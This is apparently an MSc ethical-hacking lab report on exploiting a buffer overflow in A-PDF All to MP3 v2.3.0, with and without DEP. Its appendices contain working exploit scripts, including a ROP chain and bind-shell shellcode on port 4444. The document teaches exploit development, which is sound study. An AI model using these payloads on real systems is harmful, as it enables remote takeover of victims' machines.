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Exploit Writing

A-PDF All to MP3 v2.3.0

Florent Gontharet

Ethical Hacking
University of Abertay Dundee

MSc Ethical Hacking
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INTRODUCTION

Buffer overflow local exploitation allows an attacker to use a weakness into an application to corrupt the memory of the computer. The weakness is located in the application, and as the name of the technique says, concerns a buffer. The attacker will fill this buffer, in order to write its own data after that. The code will then be executed as part of the application.

The attack is based on the memory architecture, organized as a big array. The meaning is that all the data is written next to each other, and if one is too big to fit, it will overwrite the data following in the stack (Anwar 2009). By analysing the details, we can set the stack as we want to, in order to execute our own code.

Operating systems have addressed this issue, starting from windows XP SP2, with its Data Execution Prevention (DEP). It simply indicates which part of the memory is or is not executable (Stojanovski, 2007), as the attacker requires its code to be executed.

Windows XP SP3 will be used as the operating system.

PROCEDURE AND RESULTS

THE APPLICATION

The analysis starts with an application, here A-PDF All to MP3 v2.3.0. It consists in an interface to select music in order to convert it. In order to test it against buffer overflow attacks, the application has to offer a buffer, a way for us to enter data, and it is exactly what the button to add a music to convert proposes: the file is opened and entered into a buffer, an exploitation may be possible, if the buffer is vulnerable.

METHOD

Our method will use a three points plan, in order to gather valuable information, each step feeds the next one:

- Proving the flaw, to test if the buffer is vulnerable;
- Analysing the flaw, in order to understand how the overflow can be used to overwrite data in strategic places;
- Exploiting the flaw, with a simple shellcode first, such as opening the calculator, and an advanced one, per instance starting a server;

Those three points will be applied and detailed with DEP turned off first, and then with DEP turn on, in order to see the changes and adaptation it implies for us to perform a successful attack.

In order to perform analysis and tests, a debugger will be attached to the process. OllyDbg (standard and evil editions), and Immunity Debugger, are going to be used. The tools are free and allow us to observe the stack and its settings as we modify it.

PRACTICE

As said, the first part regards DEP turned off. Only system services are protected. First point, is the buffer vulnerable? To prove the flaw, a 5000 characters (the chosen character is “A” = 41) file has been generated using the Python script presented in Appendix 1. By loading it in the converter, it crashes, good start! We can recognise our string at strategic places, such as the ESP and EIP (Figure 1).

```

Registers (FPU)
EAX 00000000
ECX 00001388
EDX 00001388
EBX 41414141
ESP 0012F8EC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBP 41414141
ESI 41414141
EDI 41414141
EIP 41414141

0012F8EC 41414141 Pointer to next SEH record
0012F8F0 41414141 SE handler
0012F8F4 41414141
0012F8F8 41414141
0012F8FC 41414141
0012F900 41414141
0012F904 41414141
0012F908 41414141
0012F90C 41414141
0012F910 41414141
0012F914 41414141
0012F918 41414141
0012F91C 41414141
0012F920 41414141
0012F924 41414141
0012F928 41414141
0012F92C 41414141
0012F930 41414141

```

Figure 1: The stack contains now parts of our string.

An access violation has been triggered because there is no DEP, and the process tried to execute code at the address 41414141, new value of our EIP.

In order to overwrite the EIP with the right value, we use the Metasploit tool “pattern_create.rb”, that generates a pattern (here simplified, the entire output is still 5000 characters long):

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab...6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk
```


Now that we can enter any EIP we want to, we can find a jump address and give it, that way the program will keep going with our code when going back. To find an address, the tool “findjmp.exe” (Figure 5), oriented to the kernel32 DLL, as it remains common.

```
C:\Documents and Settings\hacklab\Desktop\tools>findjmp.exe kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C8369F0      call esp
0x7C86467B      jmp esp
0x7C868667      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 3 usable addresses
```

Figure 5: Locating an address

In order to avoid our shellcode being overwritten, NOPs (\x90) have to be added, they provide an easy way to fill the space, and they do not execute anything, so the program will continue, and execute the shellcode.

The entire script can be found in Appendix 3, the shellcode has been written by John Leitch (<http://shell-storm.org/shellcode/files/shellcode-739.php>). It opens the calculator (calc.exe) on Windows XP SP3. The result can be seen on Figure 6:




Figure 6: The calculator started when the file loaded

As soon as the file is loaded into the application, it jumps back to our shellcode and executes it, we can see the calculator opening.

The next step is to try with a more advanced payload, opening a remote shell on the machine. In order to do so, we use the Metasploit shellcode generating function. The chosen payload open the port 4444 of the computer. See the python script to generate the WAV file in Appendix 4. Once the file loaded into the application, it freezes. However, using netcat, we can see (Figure 7) the active connection on the 4444 port of the machine, success!




Figure 7: The port 4444 is now ready to receive connections

Now that we have proved and advanced use of the stack manipulation, the same process will be followed, with the DEP security control turned on:




Illustration 1: Turning on DEP in Windows XP SP3

As we already know the flaw and its characteristics, we won't have to recalculate the size of the buffer before the EIP, as DEP only prevents parts of the memory to be executed. The offset of 4128 is still the one we are going to use.

In order to execute something on the machine, we have to find a function that can execute it for us, and for that we will look in the DLL loaded by the application. Mona.py is a tool for Immunity Debugger that allows us to search for it. It is useful as well in order to find a "RETN" in order to initialise the stack with. The first command executes the first task: !mona rop -m msvcr7.dll -cpb '\x00\x0a\x0d'

With the following output (Figure 8), we directly obtain the ROP chain to use in order to execute our shellcode!

```
[+] Command used:
!mona rop -m msvcr7.dll -cpb '\x00\x0a\x0d'
----- Mona command started on 2015-04-29 22:15:36 (v2.0, rev 557) -----
[+] Processing arguments and criteria
  - Pointer access level : X
  - Only querying modules msvcr7.dll
  - Bad char filter will be applied to pointers : '\x00\x0a\x0d'
[+] Generating module info table, hang on...
  - Processing modules
  - Done. Let's rock 'n roll.
[+] Preparing output file '_rop_progress_Alltomp3.exe_644.log'
  - (Re)setting logfile _rop_progress_Alltomp3.exe_644.log
[+] Progress will be written to _rop_progress_Alltomp3.exe_644.log
[+] Maximum offset : 40
[+] (Minimum/optional maximum) stackpivot distance : 8
[+] Max nr of instructions : 6
[+] Split output into module rop files ? False
[+] Enumerating 22 endings in 1 module(s)...
  - Querying module msvcr7.dll
  - Search complete :
    Ending : RETN 0x0C, Nr found : 2
    Ending : RETN, Nr found : 2471
    Ending : RETN 0x08, Nr found : 25
    Ending : RETN 0x26, Nr found : 1
    Ending : RETN 0x02, Nr found : 3
    Ending : RETN 0x10, Nr found : 12
    Ending : RETN 0x00, Nr found : 16
    Ending : RETN 0x14, Nr found : 1
    Ending : RETN 0x04, Nr found : 94
  - Filtering and mutating 2625 gadgets
    - Progress update : 500 / 2625 items processed (Wed 2015/04/29 10:15:39 PM) - (19%)
    - Progress update : 1000 / 2625 items processed (Wed 2015/04/29 10:15:42 PM) - (38%)
    - Progress update : 1500 / 2625 items processed (Wed 2015/04/29 10:15:44 PM) - (57%)
    - Progress update : 2000 / 2625 items processed (Wed 2015/04/29 10:15:47 PM) - (76%)
    - Progress update : 2500 / 2625 items processed (Wed 2015/04/29 10:15:49 PM) - (95%)
    - Progress update : 2625 / 2625 items processed (Wed 2015/04/29 10:15:50 PM) - (100%)
[+] Creating suggestions list
[+] Processing suggestions
[+] Launching ROP generator
[+] Attempting to produce rop chain for VirtualProtect
  Step 1/7: esi
[+] Searching from 0x77c10000 to 0x77c68000
  Step 2/7: ebp
  Step 3/7: ebx
  Step 4/7: edx
  Step 5/7: ecx
  Step 6/7: edi
  Step 7/7: eax
[+] Preparing output file 'msvcr7_virtualprotect.xml'
  - (Re)setting logfile msvcr7_virtualprotect.xml
[+] Attempting to produce rop chain for SetInformationProcess
  Step 1/6: ebp
  Step 2/6: edx
  Step 3/6: ecx
  Step 4/6: ebx
  Step 5/6: eax
  Step 6/6: edi
[+] Attempting to produce rop chain for SetProcessDEPPolicy
  Step 1/3: ebp
  Step 2/3: ebx
  Step 3/3: edi
[+] Attempting to produce rop chain for VirtualAlloc
  Step 1/7: esi
[+] Searching from 0x77c10000 to 0x77c68000
  Step 2/7: ebp
  Step 3/7: ebx
  Step 4/7: edx
  Step 5/7: ecx
  Step 6/7: edi
  Step 7/7: eax
[+] ROP chains written to file rop_chains.txt
```

Figure 8: Mona building the ROP chain

The ROP found uses VirtualAlloc() (kernel32.dll) called by msvcrt.dll to execute the shellcode. It is explained by mona.py as follow:

Register setup for VirtualAlloc():

```
-----
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
```

```
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_     SIZE_T dwSize,
_In_     DWORD flAllocationType,
_In_     DWORD flProtect
);
```

Illustration 2: C++ method VirtualAlloc()

The ROP is composed of addresses to instructions in the memory. Those are called gadgets. Each ends with a RETN, and is used to execute a part of the job, that is executing the shellcode. Mona.py gathered all those required instructions from the application and its libraries, all we need is calling them in the right order.

And the second commands searches for a RETN address:

```
!mona find -type instr -s "retn" -m msvcrt.dll -cpb '\x00\x0a\x0d'
```

We do need a RETN address in order to set the stack a way that we can execute our shellcode: we will choose one marked as {PAGE_EXECUTE_READ}, in the list given by Mona.py (Figure 9): 0x77c11110 will be used.

```
0BADF000 [+] Command used:
0BADF000 !mona find -type instr -s "retn" -m msvcrt.dll -cpb '\x00\x0a\x0d'

----- MonA command started on 2015-04-29 22:09:41 (v2.0, rev 557)
0BADF000 [+] Processing arguments and criteria
0BADF000 - Pointer access level : *
0BADF000 - Only querying modules msvcrt.dll
0BADF000 - Bad char filter will be applied to pointers : '\x00\x0a\x0d'
0BADF000 [+] Generating module info table, hang on...
0BADF000 - Processing modules
0BADF000 - Done. Let's rock 'n roll.
0BADF000 - Treating search pattern as instr
0BADF000 [+] Searching from 0x77c10000 to 0x77c68000
0BADF000 [+] Preparing output file 'find.txt'
0BADF000 - (Re)setting logfile find.txt
0BADF000 [+] Writing results to find.txt
0BADF000 - Number of pointers of type "'retn'" : 2504
0BADF000 [+] Results :
77C5D002 0x77c5d002 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F570 0x77c5f570 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F660 0x77c5f660 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F952 0x77c5f952 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F95E 0x77c5f95e : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F96A 0x77c5f96a : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C5F976 0x77c5f976 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C60171 0x77c60171 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C602BC 0x77c602bc : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C608A8 0x77c608a8 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C608CE 0x77c608ce : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C6096A 0x77c6096a : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C609F1 0x77c609f1 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C609FF 0x77c609ff : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C60B7F 0x77c60b7f : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C60B8F 0x77c60b8f : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C62768 0x77c62768 : "retn" (PAGE_WRITECOPY) [msvcrt.dll] ASLR: False, Ret
77C11110 0x77c11110 : "retn" (PAGE_EXECUTE_READ) [msvcrt.dll] ASLR: False, Ret
77C1128A 0x77c1128a : "retn" (PAGE_EXECUTE_READ) [msvcrt.dll] ASLR: False, Ret
77C1128E 0x77c1128e : "retn" (PAGE_EXECUTE_READ) [msvcrt.dll] ASLR: False, Ret
... Please wait while I'm processing all remaining results and writing
0BADF000 [+] Done. Only the first 20 pointers are shown here. For more pointers,
0BADF000 Found a total of 2504 pointers
0BADF000
0BADF000 [+] This mona.py action took 0:00:02.921000
```

Figure 9: Mona.py has found RET addresses

Once this done, we get our ROP chain and our RETN address, and we use it to generate the broken WAV file. Before adding the payload, NOPs are added in order to avoid them being overwritten once on the stack. The entire script can be found in Appendix 5, the shellcode is the same than with DEP off, and the Figure 10 shows the result: the calculator opened, success!




Figure 10: Calc.exe is successfully executed

Finally, we replace the shellcode by our advanced one, and its remote shell on port 4444. The entire script is in Appendix 6. And here as well (Figure 11), we can connect on the computer, port 4444:




Figure 11: Using netcat, we can get a remote shell on the machine

DISCUSSION

One of the conclusion of the experiment is that the exploitation of buffer overflows require analysis and patience. The stack has to be understood in order to be modified but to remain functional.

However, it is really powerful. The attacker takes over the application, and perform advanced operations.

Returned Oriented Programming (ROP, Shacham 2007), allows libraries to be used in order to execute shellcode. The components of the ROP are called gadgets.

As solutions to address the issue have been implemented, we can see here again that DEP still allows stack manipulation, leaving the memory vulnerable, even if the process followed by ROP is more elaborated.

Great tools allows advanced manipulations of the stack without much knowledge, mona.py in example, generates ROP for all programming languages. Multiple tries have been made in order to build manually the ROP chain using the WinExec() method in the Return-into-libc (Buchanan et al. 2008) exploit, that consists in using a system function to execute the command line, that is the shellcode in that case. However, it has not been functional. The use of mona.py has been mandatory to fit the due date.

Also, it is a matter of developers, as they have to take in consideration security concerns in the process of creating applications. Starting from Windows Vista, Microsoft implemented by default Asynchronous Space Layout Randomization (ASLR), that avoids code to be reused, as it randomizes addresses of the libraries and instructions. However, ASLR also presents its weaknesses.

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APPENDICES

APPENDIX 1 – PYTHON SCRIPT: PROVING THE FLAW

```
#!/usr/bin/python
# Proves flaw for All To MP3 v2.3.0

filename = "proof.wav"

junk = "\x41" * 5000

textfile = open(filename,"w")
textfile.write(junk)
textfile.close()
print "File created."
```

APPENDIX 2 – PYTHON SCRIPT: ANALYSING THE FLAW

```
#!/usr/bin/python
# Proves flaw for All To MP3 v2.3.0

filename = "analysis_2.wav"

junk = "\x41" * 4128
visible = "\x42" * 4

generation = junk+visible

textfile = open(filename,"w")
textfile.write(generation)
textfile.close()
print "File created."
```

APPENDIX 3 – PYTHON SCRIPT: A SIMPLE EXPLOIT

```
#!/usr/bin/python
# Simple Exploit for All To MP3 v2.3.0

filename = "simple_exploit.wav"

junk = "\x41" * 4128
buff = "\x7B\x46\x86\x7C"          # Address found with findjmp.exe: 7C86467B
nops = "\x90" * 10
shell = ("\x31\xC9" +              # xor ecx,ecx
        "\x51" +                  # push ecx
        "\x68\x63\x61\x6C\x63" + # push 0x636c6163
        "\x54" +                  # push dword ptr esp
        "\xB8\xC7\x93\xC2\x77" + # mov eax,0x77c293c7
        "\xFF\xD0"                # call eax
        )

exploit = junk+buff+nops+shell

textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()
print "File created."
```

APPENDIX 4 – PYTHON SCRIPT: ADVANCED EXPLOIT

```
#!/usr/bin/python
# Advanced Exploit for All To MP3 v2.3.0

filename = "advanced_exploit.wav"

junk = "\x41" * 4128
buff = "\x98\x6E\x43\x00"          #00436E98
nops = "\x90" * 10
shell = (" \xba\x91\x02\x94\xec\xda\xc8\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x0f\x03\x56\x9e\xe0\x61\x10\x48\x6d"
"\x89\xe9\x88\x0e\x03\x0c\xb9\x1c\x77\x44\xeb\x90\xf3\x08\x07"
"\x5a\x51\xb9\x9c\x2e\x7e\xce\x15\x84\x58\xe1\xa6\x28\x65\xad"
"\x64\x2a\x19\xac\xb8\x8c\x20\x7f\xcd\xcd\x65\x62\x3d\x9f\x3e"
"\xe8\xef\x30\x4a\xac\x33\x30\x9c\xba\x0b\x4a\x99\x7d\xff\xe0"
"\xa0\xad\xaf\x7f\xea\x55\xc4\xd8\xcb\x64\x09\x3b\x37\x2e\x26"
"\x88\xc3\xb1\xee\xc0\x2c\x80\xce\x8f\x12\x2c\xc3\xce\x53\x8b"
"\x3b\xa5\xaf\xef\xc6\xbe\x6b\x8d\x1c\x4a\x6e\x35\xd7\xec\x4a"
"\xc7\x34\x6a\x18\xcb\xf1\xf8\x46\xc8\x04\x2c\xfd\xf4\x8d\xd3"
"\xd2\x7c\xd5\xf7\xf6\x25\x8e\x96\xaf\x83\x61\xa6\xb0\x6c\xde"
"\x02\xba\x9f\x0b\x34\xe1\xf7\xf8\x0b\x1a\x08\x96\x1c\x69\x3a"
"\x39\xb7\xe5\x76\xb2\x11\xf1\x79\xe9\xe6\x6d\x84\x11\x17\xa7"
"\x43\x45\x47\xdf\x62\xe5\x0c\x1f\x8a\x30\x82\x4f\x24\xea\x63"
"\x20\x84\x5a\x0c\x2a\x0b\x85\x2c\x55\xc1\xb0\x6a\x9b\x31\x91"
"\x1c\xde\xc5\x04\x81\x57\x23\x4c\x29\x3e\xfb\xf8\x8b\x65\x34"
"\x9f\xf4\x4f\x68\x08\x63\xc7\x66\x8e\x8c\xd8\xac\xbd\x21\x70"
"\x27\x35\x2a\x45\x56\x4a\x67\xed\x11\x73\xe0\x67\x4c\x36\x90"
"\x78\x45\xa0\x31\xea\x02\x30\x3f\x17\x9d\x67\x68\xe9\xd4\xed"
"\x84\x50\x4f\x13\x55\x04\xa8\x97\x82\xf5\x37\x16\x46\x41\x1c"
"\x08\x9e\x4a\x18\x7c\x4e\x1d\xf6\x2a\x28\xf7\xb8\x84\xe2\xa4"
"\x12\x40\x72\x87\xa4\x16\x7b\xc2\x52\xf6\xca\xbb\x22\x09\xe2"
"\x2b\xa3\x72\x1e\xcc\x4c\xa9\x9a\xfc\x06\xf3\x8b\x94\xce\x66"
"\x8e\xf8\xf0\x5d\xcd\x04\x73\x57\xae\xf2\x6b\x12\xab\xbf\x2b"
"\xcf\xc1\xd0\xd9\xef\x76\xd0xcb" )

exploit = junk+buff+nops+shell

textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()
print "File created."
```


APPENDIX 5 – PYTHON SCRIPT: SIMPLE EXPLOIT WITH DEP

```
#!/usr/bin/python
# Advanced Exploit for All To MP3 v2.3.0 with DEP enabled
from struct import *
filename = "dep_payload_simple.wav"

rop_gadgets = [
    0x77c21c84, # POP EBP # RETN [msvcrt.dll]
    0x77c21c84, # skip 4 bytes [msvcrt.dll]
    0x77c23da7, # POP EBX # RETN [msvcrt.dll]
    0xffffffff, #
    0x77c127e1, # INC EBX # RETN [msvcrt.dll]
    0x77c127e5, # INC EBX # RETN [msvcrt.dll]
    0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
    0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
    0x77c34de1, # POP EAX # RETN [msvcrt.dll]
    0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
    0x77c479d8, # POP EDI # RETN [msvcrt.dll]
    0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
    0x77c2ecb8, # POP ESI # RETN [msvcrt.dll]
    0x77c2aacc, # JMP [EAX] [msvcrt.dll]
    0x77c5289b, # POP EAX # RETN [msvcrt.dll]
    0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
    0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
    0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]
]

rop_chain = ''.join(pack('<l', _) for _ in rop_gadgets)

shellcode = ("\x31\xC9" +          # xor ecx,ecx
             "\x51" +             # push ecx
             "\x68\x63\x61\x6C\x63" + # push 0x636c6163
             "\x54" +             # push dword ptr esp
             "\xB8\xC7\x93\xC2\x77" + # mov eax,0x77c293c7
             "\xFF\xD0"           # call eax
             )
```

```
junk = "\x41" * 4128
address = pack('<I', 0x77c11110)
nops = "\x90" * 16

generation = junk + address + rop_chain + nops + shellcode

textfile = open(filename,"w")
textfile.write(generation)
textfile.close()
print "File created."
```

APPENDIX 6 – PYTHON SCRIPT: ADVANCED EXPLOIT WITH DEP

```
#!/usr/bin/python
# Advanced Exploit for All To MP3 v2.3.0 with DEP enabled
from struct import *

filename = "dep_payload_advanced.wav"

rop_gadgets = [
    0x77c21c84, # POP EBP # RETN [msvcrt.dll]
    0x77c21c84, # skip 4 bytes [msvcrt.dll]
    0x77c23da7, # POP EBX # RETN [msvcrt.dll]
    0xffffffff, #
    0x77c127e1, # INC EBX # RETN [msvcrt.dll]
    0x77c127e5, # INC EBX # RETN [msvcrt.dll]
    0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
    0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
    0x77c34de1, # POP EAX # RETN [msvcrt.dll]
    0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
    0x77c479d8, # POP EDI # RETN [msvcrt.dll]
    0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
    0x77c2ecb8, # POP ESI # RETN [msvcrt.dll]
    0x77c2aacc, # JMP [EAX] [msvcrt.dll]
    0x77c5289b, # POP EAX # RETN [msvcrt.dll]
    0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
    0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
    0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]
]

rop_chain = ''.join(pack('<l', _) for _ in rop_gadgets)
```

```

shellcode = ("\xba\x91\x02\x94\xec\xda\xc8\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x0f\x03\x56\x9e\xe0\x61\x10\x48\x6d"
"\x89\xe9\x88\x0e\x03\x0c\xb9\x1c\x77\x44\xeb\x90\xf3\x08\x07"
"\x5a\x51\xb9\x9c\x2e\x7e\xce\x15\x84\x58\xe1\xa6\x28\x65\xad"
"\x64\x2a\x19\xac\xb8\x8c\x20\x7f\xcd\xcd\x65\x62\x3d\x9f\x3e"
"\xe8\xef\x30\x4a\xac\x33\x30\x9c\xba\x0b\x4a\x99\x7d\xff\xe0"
"\xa0\xad\xaf\x7f\xea\x55\xc4\xd8\xcb\x64\x09\x3b\x37\x2e\x26"
"\x88\xc3\xb1\xee\xc0\x2c\x80\xce\x8f\x12\x2c\xc3\xce\x53\x8b"
"\x3b\xa5\xaf\xef\xc6\xbe\x6b\x8d\x1c\x4a\x6e\x35\xd7\xec\x4a"
"\xc7\x34\x6a\x18\xcb\xf1\xf8\x46\xc8\x04\x2c\xfd\xf4\x8d\xd3"
"\xd2\x7c\xd5\xf7\xf6\x25\x8e\x96\xaf\x83\x61\xa6\xb0\x6c\xde"
"\x02\xba\x9f\x0b\x34\xe1\xf7\xf8\x0b\x1a\x08\x96\x1c\x69\x3a"
"\x39\xb7\xe5\x76\xb2\x11\xf1\x79\xe9\xe6\x6d\x84\x11\x17\xa7"
"\x43\x45\x47\xdf\x62\xe5\x0c\x1f\x8a\x30\x82\x4f\x24\xea\x63"
"\x20\x84\x5a\x0c\x2a\x0b\x85\x2c\x55\xc1\xb0\x6a\x9b\x31\x91"
"\x1c\xde\xc5\x04\x81\x57\x23\x4c\x29\x3e\xfb\xf8\x8b\x65\x34"
"\x9f\xf4\x4f\x68\x08\x63\xc7\x66\x8e\x8c\xd8\xac\xbd\x21\x70"
"\x27\x35\x2a\x45\x56\x4a\x67\xed\x11\x73\xe0\x67\x4c\x36\x90"
"\x78\x45\xa0\x31\xea\x02\x30\x3f\x17\x9d\x67\x68\xe9\xd4\xed"
"\x84\x50\x4f\x13\x55\x04\xa8\x97\x82\xf5\x37\x16\x46\x41\x1c"
"\x08\x9e\x4a\x18\x7c\x4e\x1d\xf6\x2a\x28\xf7\xb8\x84\xe2\xa4"
"\x12\x40\x72\x87\xa4\x16\x7b\xc2\x52\xf6\xca\xbb\x22\x09\xe2"
"\x2b\xa3\x72\x1e\xcc\x4c\xa9\x9a\xfc\x06\xf3\x8b\x94\xce\x66"
"\x8e\xf8\xf0\x5d\xcd\x04\x73\x57\xae\xf2\x6b\x12\xab\xbf\x2b"
"\xcf\xc1\xd0\xd9\xef\x76\xd0\xcb"
)

```

```
junk = "\x41" * 4128
```

```
address = pack('<I', 0x77c11110)
```

```
nops = "\x90" * 16
```

```
generation = junk + address + rop_chain + nops + shellcode
```

```
textfile = open(filename,"w")
```

```
textfile.write(generation)
```

```
textfile.close()
```

```
print "File created."
```